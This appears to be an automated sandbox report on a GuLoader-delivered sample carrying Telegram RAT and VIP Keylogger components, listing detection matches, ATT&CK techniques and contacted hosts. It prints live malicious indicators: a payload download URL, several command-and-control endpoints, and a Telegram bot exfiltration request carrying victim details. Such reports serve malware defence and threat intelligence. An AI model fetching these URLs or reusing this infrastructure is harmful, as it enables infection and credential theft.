File source: 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.b096e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.36720000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.afa4e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MC8017774DOCS.exe PID: 4488, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0f20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.b096e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.36720000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MC8017774DOCS.exe.afa4e.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MC8017774DOCS.exe PID: 4488, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
MC8017774DOCS.exe	42%	ReversingLabs	Win32.Trojan.GuLoader
MC8017774DOCS.exe	49%	Virustotal		Browse
MC8017774DOCS.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll	3%	ReversingLabs

Source	Detection	Scanner	Label
http://mertvinc.com.tr/pqvBgXvmocLIihvW108.bin	0%	Avira URL Cloud	safe
http://mertvinc.com.tr/pqvBgXvmocLIihvW108.binW	0%	Avira URL Cloud	safe
http://the.drillmmcsnk.top/den/P4.php	0%	Avira URL Cloud	safe
http://the.drillmmcsnk.top	0%	Avira URL Cloud	safe
http://the.drillmmcsnk.top/den/api.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mertvinc.com.tr	185.244.144.68	true	false	high
reallyfreegeoip.org	172.67.177.134	true	false	high
api.telegram.org	149.154.167.220	true	false	high
the.drillmmcsnk.top	5.182.211.149	true	false	unknown
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://the.drillmmcsnk.top/den/P4.php	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.75	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:506013%0D%0ADate%20and%20Time:%2026/11/2024%20/%2015:27:34%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20506013%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		high
http://mertvinc.com.tr/pqvBgXvmocLIihvW108.bin	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F4E000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F3F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E15000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E15000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enH	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F18000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033EF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mertvinc.com.tr/pqvBgXvmocLIihvW108.binW	MC8017774DOCS.exe, 00000004.00000002.3453102350.0000000003D73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.office.com/lB	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/H	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F3F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ftp.ftp://ftp.gopher.	MC8017774DOCS.exe, 00000004.00000001.2521521176.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false		high
http://checkip.dyndns.org	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	MC8017774DOCS.exe	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E15000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F1D000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033EF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://the.drillmmcsnk.top	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F79000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://varders.kozow.com:8081	MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	MC8017774DOCS.exe, 00000004.00000001.2521521176.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:506013%0D%0ADate%20a	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E15000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033F79000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.75$	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033DA8000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033E15000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033DED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	MC8017774DOCS.exe, 00000004.00000001.2521521176.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false		high
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	MC8017774DOCS.exe, 00000004.00000001.2521521176.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false		high
https://reallyfreegeoip.org	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033DED000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D7D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://the.drillmmcsnk.top/den/api.php	MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000033D7D000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
185.244.144.68	mertvinc.com.tr	Turkey	199608	BIRBIRTR	false
5.182.211.149	the.drillmmcsnk.top	Netherlands	64425	SKB-ENTERPRISENL	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562048
Start date and time:	2024-11-25 07:08:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MC8017774DOCS.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/5@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 89% Number of executed functions: 45 Number of non-executed functions: 34
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:09:56	API Interceptor	32344x Sleep call for process: MC8017774DOCS.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	Papyment_Advice.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	order requirements CIF-TRC809945210.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	STAFF RECORD_pdf.arj.exe	Get hash	malicious	Unknown	Browse	checkip.dyndns.org/
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	GD7656780000.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	01831899-1 FDMS3008SDC.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
149.154.167.220	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	WV7Gj9lJ7W.exe	Get hash	malicious	XWorm	Browse
	18sFhgSyVK.exe	Get hash	malicious	XWorm	Browse
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse
185.244.144.68	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	mertvinc.com.tr/oxzGOftLtQcGlWZ214.bin
	New listed items 7648767856387547354734567465647568487.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	mertvinc.com.tr/TPwPATw126.bin
	yVVZdG2NJX.exe	Get hash	malicious	GuLoader	Browse	mertvinc.com.tr/SJatcRCUnkMIpuGcrVu155.bin
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse	mertvinc.com.tr/fRzMqN204.bin
	MG-Docu6800001.exe	Get hash	malicious	GuLoader	Browse	mertvinc.com.tr/LAbxmTzNBCWjnKNdG58.bin
	CL714440147.exe	Get hash	malicious	GuLoader	Browse	mertvinc.com.tr/LAbxmTzNBCWjnKNdG58.bin
	TKnBbCiX07.exe	Get hash	malicious	GuLoader	Browse	mertvinc.com.tr/LAbxmTzNBCWjnKNdG58.bin
	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	mertvinc.com.tr/fYJJzdXnGgCBdwfMZh209.bin
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	mertvinc.com.tr/fYJJzdXnGgCBdwfMZh209.bin
	7000091945.xlsx.exe	Get hash	malicious	Azorult, GuLoader	Browse	mertvinc.com.tr/OGDTCbBRybqnXF193.bin

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mertvinc.com.tr	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	185.244.144.68
	New listed items 7648767856387547354734567465647568487.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	185.244.144.68
	yVVZdG2NJX.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse	185.244.144.68
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	MG-Docu6800001.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	CL714440147.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
api.telegram.org	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	WV7Gj9lJ7W.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	18sFhgSyVK.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
checkip.dyndns.com	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	New shipment AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Papyment_Advice.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	rrequestforquotation.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
reallyfreegeoip.org	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	New shipment AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Papyment_Advice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	rrequestforquotation.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BIRBIRTR	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	185.244.144.68
	New listed items 7648767856387547354734567465647568487.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	185.244.144.68
	yVVZdG2NJX.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse	185.244.144.68
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	MG-Docu6800001.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
